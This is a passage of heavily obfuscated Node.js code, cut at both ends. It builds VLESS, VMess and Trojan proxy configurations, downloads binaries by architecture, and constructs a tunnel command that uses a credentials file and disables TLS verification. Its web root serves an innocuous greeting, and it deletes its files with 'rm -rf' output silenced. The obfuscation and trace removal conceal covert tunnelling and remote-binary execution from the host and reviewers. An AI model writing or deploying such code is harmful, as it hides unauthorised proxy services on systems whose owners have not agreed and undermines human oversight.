_0x36ceab===_0x1e1ac7;},_0x48c6ba[_0x3a10f3(0x18a,0x2cb,0x8f,0x1e8)]=_0x3a10f3(0x1e6,0x39f,0x306,0x244),_0x48c6ba[_0x3a10f3(0x298,0xd0,0x1b5,0x1b8)]=function(_0x29f000,_0x164112){return _0x29f000!==_0x164112;},_0x48c6ba[_0x3a10f3(0x1da,0x1cd,0x2ac,0x2cf)]='pYPQu';const _0x652d06=_0x48c6ba;try{const _0x24e6e2=fs['readdirSyn'+'c'](FILE_PATH);_0x24e6e2[_0x17e480(0x530,0x5d4,0x469,0x4dc)](_0x389d02=>{function _0x82eb1d(_0x472606,_0x24c606,_0x4284a7,_0x1bcff4){return _0x17e480(_0x472606-0x19,_0x24c606-0x2e,_0x472606,_0x4284a7- -0x679);}function _0x5c6276(_0x426231,_0x1b4ed1,_0xddde88,_0x2f09ab){return _0x3a10f3(_0x426231-0x21,_0x1b4ed1-0xfb,_0x1b4ed1,_0x426231-0x119);}if(_0x652d06['JjEzV'](_0x652d06['JFCWQ'],_0x652d06[_0x82eb1d(-0x31,0x70,-0x96,0xa3)])){const _0x3afae6=path[_0x5c6276(0x265,0x274,0x3b8,0x26b)](FILE_PATH,_0x389d02);try{if(_0x652d06['qnsMM'](_0x652d06[_0x5c6276(0x3e8,0x497,0x516,0x331)],_0x652d06['kbLxp'])){const _0x2b5c83=_0xb83273[_0x82eb1d(-0x14f,-0x67,-0x132,-0x20b)](_0x52a84b,_0x3c7c2c);try{const _0x132963=_0x2b9aa0[_0x82eb1d(0x100,-0x16,0x50,-0xb)](_0x2b5c83);_0x132963[_0x5c6276(0x389,0x377,0x4f0,0x37c)]()&&_0x392058[_0x82eb1d(-0x1b5,-0x20f,-0x1b7,-0x2b7)](_0x2b5c83);}catch(_0x51619d){}}else{const _0x46847b=fs[_0x5c6276(0x3e7,0x396,0x3e5,0x2d8)](_0x3afae6);_0x46847b[_0x5c6276(0x389,0x233,0x349,0x296)]()&&fs[_0x82eb1d(-0xb6,-0x279,-0x1b7,-0x106)](_0x3afae6);}}catch(_0x1bd239){}}else{if(!_0xb41c84||!_0x543020){_0x43eb4d[_0x82eb1d(-0x163,-0x90,-0x7d,-0x1c6)](_0x652d06[_0x5c6276(0x332,0x484,0x463,0x425)]);return;}if(_0x5a9adf[_0x82eb1d(0x29,-0x21c,-0xf2,-0xa7)](_0x5c6276(0x443,0x337,0x4eb,0x585)+'et')){_0xd72862[_0x5c6276(0x256,0xfd,0x32e,0x333)+_0x82eb1d(-0xbd,-0x1d3,-0x165,-0x12d)](_0x4d1aed[_0x82eb1d(-0x11d,-0x6c,-0x132,-0x214)](_0x176150,_0x652d06['vLPXN']),_0x28a874);const _0x39cf56=_0x5c6276(0x44e,0x42a,0x466,0x444)+'\x20'+_0x3f952d[_0x82eb1d(0x1a5,0x98,0x61,0xef)]('\x22')[0x3a6*-0x9+-0x2*-0x10d7+0xcd*-0x1]+(_0x5c6276(0x37a,0x2f5,0x357,0x238)+'ials-file:'+'\x20')+_0x59b802[_0x5c6276(0x265,0x1b7,0x138,0x363)](_0x48c5a4,_0x652d06['vLPXN'])+(_0x5c6276(0x364,0x4a4,0x356,0x45e)+_0x82eb1d(-0xf3,0xcd,-0x4c,-0x67)+_0x82eb1d(-0x1af,0x35,-0x8f,-0x12d)+_0x82eb1d(0x12e,0x75,0x79,-0xc7)+_0x5c6276(0x3db,0x2de,0x48c,0x45a))+_0x631d0f+(_0x5c6276(0x1d4,0xa0,0x265,0x12c)+_0x82eb1d(-0x292,-0x11d,-0x192,-0x135)+'://localho'+_0x82eb1d(-0x1ab,0xa,-0x14f,-0x1ba))+_0x1e41a4+(_0x5c6276(0x1b1,0x292,0x296,0x205)+_0x82eb1d(-0x244,-0x13b,-0x1a5,-0xee)+_0x82eb1d(-0x68,-0x136,-0x167,-0x9b)+'noTLSVerif'+_0x82eb1d(-0x197,-0x83,-0x7f,-0x112)+_0x82eb1d(0xce,0x157,0x5d,-0xff)+_0x5c6276(0x3fe,0x521,0x4e1,0x305)+_0x5c6276(0x21d,0x297,0x37f,0x325)+'\x20');_0x1555a5[_0x82eb1d(-0xab,-0x143,-0x141,-0x163)+_0x5c6276(0x232,0x2bb,0x342,0x223)](_0x5d07ec[_0x5c6276(0x265,0x39b,0x2cb,0x130)](_0x13b535,_0x652d06[_0x82eb1d(-0x92,-0x198,-0x108,-0x201)]),_0x39cf56);}else _0x3ef720[_0x82eb1d(-0xae,0xed,-0x7d,-0x1cf)](_0x652d06['uubIx']);}});}catch(_0x5198c0){}}app[_0x2e882e(0x5bf,0x4cc,0x600,0x61c)]('/',function(_0x3f6168,_0x59d470){const _0xd5b449={};function _0x3b6a85(_0x25f5df,_0x215263,_0x48db92,_0x36074c){return _0x282096(_0x25f5df-0x1f2,_0x215263-0x72,_0x25f5df-0x198,_0x36074c);}_0xd5b449['JJjZT']=_0x3b6a85(0x492,0x557,0x5f7,0x4fb)+'d!';const _0x444bfc=_0xd5b449;_0x59d470['send'](_0x444bfc['JJjZT']);});async function generateConfig(){const _0xc41923={};_0xc41923['MsvBX']=_0x209383(-0x93,0x49,-0xdf,-0x12c),_0xc41923[_0x209383(-0x191,-0xa0,-0xd5,-0x95)]=_0x35da55(0x453,0x345,0x2c2,0x342),_0xc41923[_0x209383(-0xb3,0x42,0x81,-0x1a0)]='vless',_0xc41923[_0x209383(-0x2c,-0x8d,-0x162,0x88)]='xtls-rprx-'+_0x35da55(0x2f7,0x4f7,0x480,0x3e2);function _0x35da55(_0x5d3522,_0x5ca7ed,_0x435157,_0x5cf7bf){return _0x282096(_0x5d3522-0x169,_0x5ca7ed-0x83,_0x5cf7bf-0x1ba,_0x5d3522);}_0xc41923['rdRjD']=_0x35da55(0x46c,0x33e,0x1d0,0x326)+'o',_0xc41923[_0x35da55(0x358,0x478,0x34b,0x499)]='/vmess-arg'+'o',_0xc41923[_0x35da55(0x3c8,0x38d,0x47d,0x3ea)]='/trojan-ar'+'go',_0xc41923[_0x35da55(0x435,0x368,0x2bb,0x371)]=_0x35da55(0x487,0x42d,0x472,0x33a),_0xc41923[_0x209383(0x90,0x199,-0x1e,-0x6a)]='127.0.0.1',_0xc41923[_0x209383(-0xff,-0xe2,0x47,-0x14d)]='http',_0xc41923[_0x209383(-0x6e,-0xf6,0xd6,0xa7)]=_0x209383(-0x151,-0x236,-0x18b,-0x17),_0xc41923['qgSRb']=_0x209383(-0x94,-0xfe,0x5c,-0x165),_0xc41923[_0x35da55(0x519,0x44e,0x327,0x480)]=_0x35da55(0x2f2,0x183,0x38c,0x2b3),_0xc41923[_0x209383(-0x1c1,-0x13f,-0x9f,-0x22a)]=_0x35da55(0x39d,0x624,0x414,0x4de)+_0x35da55(0x424,0x3a6,0x3a3,0x353)+'8/dns-quer'+'y',_0xc41923[_0x209383(-0x146,-0x1b4,-0xe7,-0x82)]=_0x35da55(0x53f,0x4eb,0x37d,0x470),_0xc41923[_0x35da55(0x3c8,0x2e9,0x30f,0x2d6)]=_0x209383(0x1f,-0x102,-0xf4,0x10a)+'n';const _0xdafc95=_0xc41923,_0x130f4c={};_0x130f4c[_0x209383(-0x9f,0x83,-0x10e,0x52)]=_0xdafc95[_0x35da55(0x58f,0x5a1,0x3d8,0x441)],_0x130f4c[_0x35da55(0x358,0x43a,0x40c,0x4a7)]=_0xdafc95[_0x209383(-0xc,-0x175,0x14a,0x43)],_0x130f4c['loglevel']=_0xdafc95[_0x209383(-0x191,-0x277,-0x22b,-0x25a)];const _0x435a53={};_0x435a53[_0x35da55(0x1b6,0x359,0x3f5,0x2f8)]=0xbb9;const _0x46dd07={};_0x46dd07[_0x209383(-0x1ec,-0x2e2,-0xd4,-0x222)]=ARGO_PORT,_0x46dd07[_0x209383(-0x106,0x17,-0x1d9,-0xc5)]=_0xdafc95['Yufvl'],_0x46dd07[_0x209383(-0x122,-0x258,-0x2f,-0x1d9)]={},_0x46dd07[_0x209383(0x2f,0xd2,-0xb9,-0x68)+_0x209383(-0x4a,0x11,0x93,-0x114)]={},_0x46dd07[_0x209383(-0x122,-0x258,-0x2f,-0x1d9)]['clients']=[{'id':UUID,'flow':_0xdafc95['wMuUk']}],_0x46dd07[_0x209383(-0x122,-0x258,-0x2f,-0x1d9)][_0x209383(-0x150,-0x2a,-0xe7,-0x222)]=_0xdafc95['PzeeR'],_0x46dd07[_0x209383(-0x122,-0x258,-0x2f,-0x1d9)][_0x35da55(0x3f2,0x5ff,0x5da,0x4c7)]=[_0x435a53,{'path':_0xdafc95[_0x35da55(0x306,0x1c4,0x1f2,0x28e)],'dest':0xbba},{'path':_0xdafc95[_0x35da55(0x5d1,0x3f2,0x5db,0x499)],'dest':0xbbb},{'path':_0xdafc95[_0x35da55(0x2b8,0x2d7,0x2f6,0x3ea)],'dest':0xbbc}],_0x46dd07[_0x209383(0x2f,0xd2,-0xb9,-0x68)+_0x209383(-0x4a,0x11,0x93,-0x114)][_0x35da55(0x54e,0x4fd,0x3d9,0x4c6)]=_0xdafc95[_0x35da55(0x4a3,0x4d4,0x2d5,0x371)];const _0x113a97={};_0x113a97['id']=UUID;const _0x51ee7d={};_0x51ee7d[_0x35da55(0x341,0x3a5,0x4e6,0x3ec)]=[_0x113a97],_0x51ee7d[_0x35da55(0x276,0x267,0x395,0x2fd)]=_0x209383(-0x10b,-0x188,-0x179,-0x99);const _0x40f0d3={};_0x40f0d3[_0x35da55(0x20f,0x3a4,0x3c5,0x261)]=0xbb9,_0x40f0d3[_0x209383(-0xa2,-0x16e,-0xe8,-0xaa)]=_0xdafc95[_0x35da55(0x3c9,0x533,0x59b,0x4dd)],_0x40f0d3[_0x35da55(0x391,0x3df,0x2c4,0x347)]=_0x209383(-0x51,0xea,-0x142,-0x168),_0x40f0d3[_0x209383(-0x122,-0x28b,-0x19e,-0x17b)]=_0x51ee7d,_0x40f0d3[_0x209383(0x2f,0x18c,-0x60,0x2f)+'ings']={},_0x40f0d3[_0x209383(0x2f,0x18c,-0x60,0x2f)+'ings'][_0x209383(0x79,0x1c3,-0x84,-0x4f)]=_0xdafc95[_0x209383(-0xdc,-0x15f,-0x195,-0x8f)],_0x40f0d3[_0x209383(0x2f,0x18c,-0x60,0x2f)+'ings'][_0x209383(-0x188,-0x2a6,-0x26b,-0x14c)]=_0xdafc95[_0x209383(-0x191,-0x207,-0x282,-0x1ae)];const _0x5ddfa4={};_0x5ddfa4['id']=UUID,_0x5ddfa4[_0x35da55(0x2ee,0x2c3,0x322,0x305)]=0x0;const _0x36c8a0={};_0x36c8a0['clients']=[_0x5ddfa4],_0x36c8a0[_0x35da55(0x288,0x1cb,0x19b,0x2fd)]='none';const _0x5cf545={};function _0x209383(_0x315e4f,_0x3a2cb3,_0x3df1ea,_0x495000){return _0x282096(_0x315e4f-0x1e2,_0x3a2cb3-0x135,_0x315e4f- -0x293,_0x3a2cb3);}_0x5cf545[_0x35da55(0x369,0x39c,0x425,0x496)]=_0x35da55(0x367,0x232,0x297,0x326)+'o';const _0x301b1e={};_0x301b1e[_0x209383(-0x1ec,-0x1ef,-0x219,-0x1f2)]=0xbba,_0x301b1e['listen']=_0xdafc95['bxRTz'],_0x301b1e['protocol']=_0xdafc95[_0x35da55(0x4d0,0x464,0x263,0x39a)],_0x301b1e[_0x35da55(0x34f,0x2a5,0x3a5,0x32b)]=_0x36c8a0,_0x301b1e[_0x209383(0x2f,0x13,0x130,0x147)+_0x35da55(0x3fb,0x2a0,0x37a,0x403)]={},_0x301b1e[_0x209383(-0x25,-0xbe,0x127,0x3d)]={},_0x301b1e[_0x209383(0x2f,0x13,0x130,0x147)+_0x35da55(0x3fb,0x2a0,0x37a,0x403)][_0x209383(0x79,-0xe,0x91,0x110)]='ws',_0x301b1e[_0x209383(0x2f,0x13,0x130,0x147)+_0x35da55(0x3fb,0x2a0,0x37a,0x403)][_0x209383(-0x188,-0x1f6,-0x23b,-0x12f)]=_0xdafc95[_0x35da55(0x26e,0x1b8,0x1bb,0x2bc)],_0x301b1e[_0x209383(0x2f,0x13,0x130,0x147)+_0x35da55(0x3fb,0x2a0,0x37a,0x403)][_0x209383(-0xb1,0x7a,0x30,-0xf9)]=_0x5cf545,_0x301b1e[_0x209383(-0x25,-0xbe,0x127,0x3d)]['enabled']=!![],_0x301b1e[_0x209383(-0x25,-0xbe,0x127,0x3d)][_0x209383(0x8d,-0x43,0xae,0x12a)+'de']=[_0xdafc95[_0x209383(-0xff,-0x167,-0x227,0x29)],_0xdafc95['yzbdQ'],_0xdafc95[_0x35da55(0x481,0x422,0x523,0x4d8)]],_0x301b1e[_0x209383(-0x25,-0xbe,0x127,0x3d)][_0x209383(-0x8e,-0x1be,-0x18d,-0x18d)+'ly']=![];const _0x8a6578={};_0x8a6578['id']=UUID,_0x8a6578[_0x35da55(0x285,0x324,0x34e,0x242)]=0x0;const _0x30a4b4={};_0x30a4b4[_0x209383(-0x61,-0x133,-0x153,0x63)]=[_0x8a6578];const _0x2e67af={};_0x2e67af['path']=_0xdafc95['uGTuL'];const _0x5e608a={};_0x5e608a[_0x209383(0x79,-0xb8,0x150,0x6)]='ws',_0x5e608a[_0x35da55(0x46d,0x27c,0x2be,0x39c)]=_0x2e67af;const _0x2764fe={};_0x2764fe['enabled']=!![],_0x2764fe[_0x209383(0x8d,0x186,0x11b,0x5d)+'de']=[_0xdafc95[_0x209383(-0xff,-0x1e6,0x32,-0xc6)],_0x35da55(0x2a3,0x2f1,0x194,0x2fc),_0xdafc95[_0x35da55(0x5c0,0x594,0x472,0x4d8)]],_0x2764fe[_0x35da55(0x2b8,0x4ad,0x297,0x3bf)+'ly']=![];const _0x2916b7={};_0x2916b7[_0x35da55(0x142,0x196,0x17d,0x261)]=0xbbb,_0x2916b7['listen']=_0x35da55(0x3bc,0x268,0x343,0x3c4),_0x2916b7[_0x35da55(0x3e6,0x23e,0x410,0x347)]=_0x209383(-0xa8,-0x194,-0x18c,0x2),_0x2916b7[_0x209383(-0x122,-0x224,-0x1eb,-0x88)]=_0x30a4b4,_0x2916b7[_0x209383(0x2f,0x154,0x109,0x73)+_0x35da55(0x569,0x2ab,0x508,0x403)]=_0x5e608a,_0x2916b7[_0x209383(-0x25,0xe5,-0xe3,-0x170)]=_0x2764fe;const _0x11dc93={};_0x11dc93['password']=UUID;const _0xced59e={};_0xced59e[_0x35da55(0x2ed,0x315,0x33e,0x3ec)]=[_0x11dc93];const _0x419c7f={};_0x419c7f[_0x35da55(0x102,0x2c9,0x367,0x261)]=0xbbc,_0x419c7f[_0x209383(-0xa2,-0x1f4,0x30,0x56)]=_0xdafc95[_0x35da55(0x45f,0x3ba,0x378,0x4dd)],_0x419c7f[_0x209383(-0x106,-0x44,-0x9c,-0x57)]=_0xdafc95[_0x35da55(0x4ae,0x3e0,0x45e,0x480)],_0x419c7f[_0x35da55(0x33e,0x232,0x360,0x32b)]=_0xced59e,_0x419c7f[_0x209383(0x2f,-0x89,-0xe1,0x12e)+_0x209383(-0x4a,0x5b,0xf2,0x1e)]={},_0x419c7f[_0x35da55(0x3bd,0x32d,0x43a,0x428)]={},_0x419c7f[_0x209383(0x2f,-0x89,-0xe1,0x12e)+_0x209383(-0x4a,0x5b,0xf2,0x1e)]['network']='ws',_0x419c7f[_0x209383(0x2f,-0x89,-0xe1,0x12e)+_0x209383(-0x4a,0x5b,0xf2,0x1e)][_0x209383(-0x188,-0x231,-0xdc,-0x2c3)]=_0xdafc95[_0x209383(-0x191,-0x1e2,-0x22f,-0xef)],_0x419c7f[_0x209383(0x2f,-0x89,-0xe1,0x12e)+_0x209383(-0x4a,0x5b,0xf2,0x1e)][_0x35da55(0x481,0x399,0x260,0x39c)]={},_0x419c7f[_0x209383(0x2f,-0x89,-0xe1,0x12e)+_0x209383(-0x4a,0x5b,0xf2,0x1e)][_0x35da55(0x481,0x399,0x260,0x39c)][_0x35da55(0x57b,0x3c5,0x393,0x496)]=_0xdafc95[_0x35da55(0x28e,0x4e0,0x514,0x3ea)],_0x419c7f[_0x35da55(0x3bd,0x32d,0x43a,0x428)][_0x209383(-0x240,-0x125,-0x2e6,-0x124)]=!![],_0x419c7f[_0x35da55(0x3bd,0x32d,0x43a,0x428)]['destOverri'+'de']=[_0xdafc95['zrcWQ'],_0x35da55(0x351,0x21a,0x3fc,0x2fc),'quic'],_0x419c7f[_0x35da55(0x3bd,0x32d,0x43a,0x428)][_0x209383(-0x8e,0x63,0x22,-0x157)+'ly']=![];const _0x1aa0fa={};_0x1aa0fa['servers']=[_0xdafc95['kkJdV']];const _0x22afc5={};_0x22afc5[_0x35da55(0x4b1,0x237,0x2e7,0x347)]=_0xdafc95[_0x35da55(0x1cb,0x2c2,0x2ee,0x307)],_0x22afc5[_0x35da55(0x3b5,0x395,0x47f,0x379)]=_0x209383(0x14,0x161,-0x60,0x13c);const _0x14fc4a={};_0x14fc4a[_0x209383(-0x106,-0x22e,-0x267,0x19)]='blackhole',_0x14fc4a[_0x209383(-0xd4,0x29,0x83,-0x1cf)]=_0x209383(-0x1db,-0x94,-0x112,-0x249);const _0x4306a8={};_0x4306a8[_0x209383(-0xbe,-0xda,-0x6e,-0x6e)]=_0x130f4c,_0x4306a8[_0x209383(0x46,0xe0,0x180,-0x123)]=[_0x46dd07,_0x40f0d3,_0x301b1e,_0x2916b7,_0x419c7f],_0x4306a8[_0x209383(0x64,0x1ca,0x102,0x81)]=_0x1aa0fa,_0x4306a8['outbounds']=[_0x22afc5,_0x14fc4a];const _0x1d9803=_0x4306a8;fs[_0x35da55(0x1b2,0x332,0x257,0x2cb)+_0x209383(-0x1a6,-0x1a0,-0x183,-0x28e)](path['join'](FILE_PATH,_0xdafc95[_0x35da55(0x41a,0x1c0,0x390,0x2d6)]),JSON['stringify'](_0x1d9803,null,-0x124b+0x1a*-0xae+0x23f9));}function getSystemArchitecture(){const _0x590ed0={};_0x590ed0['tWXTZ']=function(_0xa6d821,_0x4f6162){return _0xa6d821===_0x4f6162;},_0x590ed0[_0x500af9(0x2b6,0x431,0x4f7,0x40f)]='arm64',_0x590ed0['dKOpf']='aarch64',_0x590ed0[_0x500af9(0x6fd,0x659,0x6d8,0x60f)]=_0x298947(0x366,0x34b,0x1fd,0x1f3),_0x590ed0[_0x500af9(0x581,0x5d4,0x4c7,0x4d1)]='amd';const _0x31c563=_0x590ed0,_0x31c813=os[_0x500af9(0x776,0x585,0x5c1,0x624)]();function _0x500af9(_0x288d19,_0x1776f3,_0xefef47,_0x4e0cdd){return _0x282096(_0x288d19-0xf6,_0x1776f3-0x33,_0x4e0cdd-0x3a9,_0x1776f3);}function _0x298947(_0x561ee7,_0xd256c4,_0x5012e2,_0x247232){return _0x2e882e(_0x5012e2- -0x2c8,_0xd256c4,_0x5012e2-0x15a,_0x247232-0x187);}return _0x31c563['tWXTZ'](_0x31c813,'arm')||_0x31c563['tWXTZ'](_0x31c813,_0x31c563[_0x500af9(0x3ed,0x514,0x2e1,0x40f)])||_0x31c563[_0x298947(0x402,0x413,0x34e,0x43e)](_0x31c813,_0x31c563['dKOpf'])?_0x31c563['pKsWa']:_0x31c563[_0x298947(0x43,0xa1,0x192,0x156)];}function downloadFile(_0x46942c,_0x381b15,_0x4bd97f){const _0x36120b={'MfSgg':function(_0x4ce2c,_0x29c705){return _0x4ce2c!==_0x29c705;},'YttZB':_0x3a485e(0x6d4,0x6b1,0x775,0x639),'UVayY':_0x3a485e(0x388,0x4e0,0x3c7,0x40a),'CqDdO':_0x5ed263(0x6f,0x145,0xd4,0xb3),'Zkxhu':_0x5ed263(-0x16a,-0x282,-0x192,-0x148)+_0x5ed263(-0x2,-0x1b1,-0x8b,-0xf2)+_0x3a485e(0x56e,0x54d,0x503,0x525)+_0x5ed263(-0x48,0x11b,-0x4,0x4),'VYIwU':function(_0x24e196,_0x3a935a){return _0x24e196===_0x3a935a;},'UzGAT':'igfEy','fkIPG':function(_0x30db30,_0x47bfbe){return _0x30db30(_0x47bfbe);},'koElB':function(_0x16dfd1,_0x9836c0){return _0x16dfd1(_0x9836c0);},'mGfdB':'get','OagXd':'stream'},_0x4558b8=_0x46942c;function _0x3a485e(_0x420a25,_0x1685b2,_0x26ff3c,_0x585be7){return _0x282096(_0x420a25-0x198,_0x1685b2-0x102,_0x1685b2-0x3bb,_0x420a25);}if(!fs[_0x3a485e(0x67b,0x634,0x79d,0x589)](FILE_PATH)){const _0x156834={};_0x156834['recursive']=!![],fs[_0x5ed263(-0xa8,-0x10f,0x1b2,0x4e)](FILE_PATH,_0x156834);}const _0x144284=fs[_0x5ed263(0x1e7,-0x48,0xa6,0xa0)+_0x3a485e(0x503,0x47a,0x590,0x481)](_0x4558b8);function _0x5ed263(_0x5da091,_0xa1e3ae,_0x3aee93,_0x55d964){return _0x282096(_0x5da091-0xc,_0xa1e3ae-0x129,_0x55d964- -0x23a,_0x5da091);}_0x36120b[_0x3a485e(0x4da,0x53a,0x419,0x588)](axios,{'method':_0x36120b[_0x5ed263(-0x315,-0x2fd,-0x26e,-0x1bc)],'url':_0x381b15,'responseType':_0x36120b['OagXd']})[_0x3a485e(0x73c,0x638,0x74c,0x78d)](_0x3e07ac=>{function _0x2032c3(_0x139045,_0x4ae546,_0x2025a3,_0x28f029){return _0x5ed263(_0x2025a3,_0x4ae546-0xd9,_0x2025a3-0x1de,_0x4ae546- -0xba);}function _0x50b759(_0x1e9855,_0x259ae7,_0x39a183,_0x2f063f){return _0x3a485e(_0x1e9855,_0x259ae7- -0x24d,_0x39a183-0x1ab,_0x2f063f-0x187);}_0x36120b[_0x50b759(0x2bc,0x32f,0x1f5,0x2ec)](_0x36120b[_0x50b759(0x30e,0x431,0x377,0x2d2)],_0x36120b[_0x50b759(0x3b0,0x431,0x4ff,0x418)])?_0x4a7669['error'](_0x2032c3(-0x276,-0x17a,-0x12c,-0x2cf)+_0x2032c3(-0x31,-0x60,0x74,-0xeb)+_0x30f5a0):(_0x3e07ac['data'][_0x50b759(0x4a2,0x41b,0x480,0x40a)](_0x144284),_0x144284['on'](_0x36120b[_0x2032c3(-0x94,-0x39,-0xaa,0x7e)],()=>{function _0x390853(_0x426edf,_0x3b5466,_0x487062,_0xb846c3){return _0x50b759(_0x426edf,_0x3b5466-0x2c1,_0x487062-0xe9,_0xb846c3-0x68);}function _0x18f42e(_0x2e11d3,_0x57f409,_0x323bb9,_0xdc022){return _0x2032c3(_0x2e11d3-0x14e,_0x323bb9-0x331,_0x57f409,_0xdc022-0x18b);}_0x144284[_0x390853(0x642,0x6ef,0x59e,0x776)](),console[_0x18f42e(0x248,0x273,0x212,0x345)](_0x18f42e(0xa9,0xba,0x1a7,0xba)+path['basename'](_0x4558b8)+(_0x390853(0x69b,0x6d7,0x657,0x67f)+_0x390853(0x537,0x584,0x665,0x4c9))),_0x4bd97f(null,_0x4558b8);}),_0x144284['on'](_0x36120b['CqDdO'],_0x4f01c5=>{fs[_0x2a27be(-0x5c,-0x17,0x77,0x1ab)](_0x4558b8,()=>{});function _0x2a27be(_0x12aec6,_0x345ff0,_0x574d61,_0x1285b6){return _0x2032c3(_0x12aec6-0x13f,_0x574d61-0x1b0,_0x345ff0,_0x1285b6-0x13d);}const _0xc55ef8=_0x127b67(0x41e,0x5b5,0x4fa,0x630)+path[_0x2a27be(-0x17,-0x67,-0xed,0x7)](_0x4558b8)+_0x127b67(0x394,0x4b8,0x4e0,0x4c1)+_0x4f01c5[_0x2a27be(-0xc2,0x35,-0x34,0xae)];console['error'](_0xc55ef8);function _0x127b67(_0x113878,_0x113db5,_0x19843a,_0x51be3e){return _0x50b759(_0x51be3e,_0x19843a-0x222,_0x19843a-0xd2,_0x51be3e-0x127);}_0x4bd97f(_0xc55ef8);}));})['catch'](_0x16a804=>{function _0x381c2c(_0x4a40e2,_0x135920,_0x516412,_0x358040){return _0x3a485e(_0x4a40e2,_0x516412-0xe3,_0x516412-0x1da,_0x358040-0x1de);}function _0x37609f(_0x3a3a48,_0x26ac9c,_0x3ad303,_0x337f3c){return _0x3a485e(_0x337f3c,_0x3ad303- -0xa4,_0x3ad303-0x133,_0x337f3c-0x1dc);}const _0x233e10={};_0x233e10[_0x381c2c(0x60d,0x56d,0x5c4,0x6a8)]='App\x20is\x20run'+_0x37609f(0x61a,0x59c,0x4b8,0x411),_0x233e10[_0x37609f(0x4ea,0x2e7,0x43b,0x2ef)]=_0x36120b[_0x381c2c(0x603,0x64e,0x6b4,0x6d3)];const _0x5ad965=_0x233e10;if(_0x36120b['VYIwU'](_0x36120b[_0x37609f(0x69c,0x538,0x54b,0x438)],_0x381c2c(0x458,0x5dd,0x4f2,0x496))){const _0x42dcc4=_0x37609f(0x3e4,0x3e9,0x481,0x445)+path[_0x381c2c(0x41d,0x3af,0x4f5,0x3e9)](_0x4558b8)+_0x381c2c(0x71b,0x6ec,0x5ee,0x566)+_0x16a804['message'];console[_0x37609f(0x6bc,0x4ec,0x604,0x5db)](_0x42dcc4),_0x36120b[_0x37609f(0x36d,0x473,0x44f,0x428)](_0x4bd97f,_0x42dcc4);}else _0x1238df('rm\x20-rf\x20'+_0x284d18['join']('\x20')+(_0x37609f(0x643,0x6ee,0x61d,0x575)+'l\x202>&1'),_0x4cc429=>{function _0x4b9a67(_0x32baf6,_0x302a3a,_0xefe319,_0x4f5a0f){return _0x381c2c(_0x32baf6,_0x302a3a-0x81,_0x302a3a- -0x723,_0x4f5a0f-0x21);}function _0x5c5a2a(_0x3aff16,_0x16068b,_0x3ca2ab,_0x4439a0){return _0x37609f(_0x3aff16-0x1cd,_0x16068b-0x53,_0x16068b-0x125,_0x3aff16);}_0x361c1d[_0x4b9a67(-0x46,-0x7c,-0xa9,-0x10d)](),_0x3a1d6e[_0x5c5a2a(0x52a,0x611,0x64c,0x697)](_0x5ad965[_0x5c5a2a(0x531,0x562,0x670,0x47b)]),_0x2aed53['log'](_0x5ad965['bBYdf']);});});}function _0x3591(){const _0x391c78=['vvvjra','tIbVCIbbuKDpxW','vfPyyxu','DMntCuu','uLrcufjhDdnxAW','EwmUBw4VDJe','BM9utfnwzxjPzG','CgvLzc5JBg91za','jNbHDgG9jtjgDa','EwmUBw4VyM90','Cwjhz2O','C3rHDfn5BMm','A2jmEha','y2HHCKf0','Dw5UzwXtzwnYzq','tKvAsefFu0vsvG','zgLYzwn0','ihn1y2nLC3nMDq','xY9NjW','rw1dELy','Ahr0Chm6lY9HBq','ENb6D1y','CgLWzq','vvbmt0fex1vsta','icaTihnLCNzPyW','rwDMwhO','yLnkoq','y29UzMLNlMPZBW','C3bSAxq','uNHrDKq','C2vFAxb2nL9JBW','zNjLzwrVBq','ndqZ','E30Uy29UC3rYDq','ztOGAhr0Cf9ZDa','y1v4sLG','vvzHEvK','wKTTt0W','CeTtCfK','q21ItKK','ywLK','y2XVC2u','vwHmvMi','C3rYzwfTu2v0Da','wxr0wKi','wgL5uLq','CMfUzg9T','vKjuuM8','CIb0AguGy3vYCG','zxuUB3jN','CMvZCg9UC2u','tvrSDMG','CZOkicaGic0GAa','u0vsvKvsx1bpuG','DguGls1YzxbVCG','t0XiBLu','CerkAhq','ywzMu2C','D01zs3G','CMv0DxjUicHMDq','DvbjweG','vNPuwM4','DgfZA2TPBgWGlW','y2f0y2G','ANL6BNi','q2PswKe','Aw5IB3vUzhm','y3jLyxrLv3jPDa','yxPNz0K','Cgf0Aa','CMvHzezPBgvtEq','DxrPBa','DuDuDuW','qMrkrfC','tLfRAvy','rKLmrv9qqvri','igfSCMvHzhKGzq','DfDyvfO','A2n1s0q','tM9KzxmGDxbSBW','mJa1mW','vhv1yvO','ztOGDhj1zqPKAq','Aw5NigjVB3qUBa','rhLAzxi','BM9ODxaG','zxjYB3i','A2rougu','Chr5lhnRAxaGCG','B24GpI9KzxyVBG','tMPkBuXuzZnzmG','sg5hwwu','v1fWD0q','CMjJCfi','yxbWBgLJyxrPBW','sgTmy0O','zg5Z','yxHPB3m','yKfdCg8','sgvSBg8GD29YBa','BMPbq3m','qxn4tvq','Dwfbsfq','vhvUBMvSu2vJCG','BMCGyM90ihrVia','cIaGcNrYB2PHBG','ywjSzsbPCYbLBq','re1wrMW','yMLUza','uM1wEei','BNvSBcaYpIyXia','id4Vzgv2l251Ba','DLb0v1u','zgrPBMCGyxv0BW','cIaGDhvUBMvSoG','igLZignYzwf0zq','tMXLq1i','BMv0D29YAW','zMfSBgjHy2TZ','DhLWzq','BKfQB0m','C2ukz3b1oIbMyq','wKTesLy','AML4r2m','l2jVB3qUBg9Nia','mZeYANP0tuPz','y291BNq6ihrYDq','ide4mdakCMvWBW','r1viqwq','zw50igfYy2HPDa','AgjMvvm','zMLSzvvYBa','lMv4zsa+ig51Ba','tKX3qLK','rw1freu','CwDtuMi','oI8V','zgvZDe92zxjYAq','tMPNsLa','veDIy2O','yNHsvhO','Ahr0ChmRBg9Jyq','Bg9HzgLUzYbMAq','BIbJB25Uzwn0ia','zw5HyMXLza','AwDMrxK','yM9VDc5SB2C','ufjpsKvdvf9vuG','yMfZzw5HBwu','BgvZCY1HCMDVjq','AfrOweC','zvvTyvy','BhnLcMLUC2vJDq','BcaYpIyX','zxjYB3iGAw4GCW','tgjMEgq','DxjPDhK9DgXZjG','DhvUBMvSic0Tzq','EKTAzKG','C1HXrNm','zw52','qvHMsu8','Ag9ZDd0','q1LXz3C','txDns3y','wM12tfu','l2nVBMzPzY55yq','AwnRihr1BM5LBa','zw92sva','cIaGicaGig9YAq','vgrRCeO','DhKSihvZzsbXDq','Ag9TzwLW','zxLkAeLQB2Lpva','Bwv0ysb8igf3AW','BMfyyNy','cNnRAxbFy29UBG','BhLiBLq','BgPYsvm','CMn6tNu','owq3ztHMzMyToa','sxbYq1K','vfv4EM4','rNrfD1i','ChjVDg90ExbL','cMrLyNvNoIbMyq','v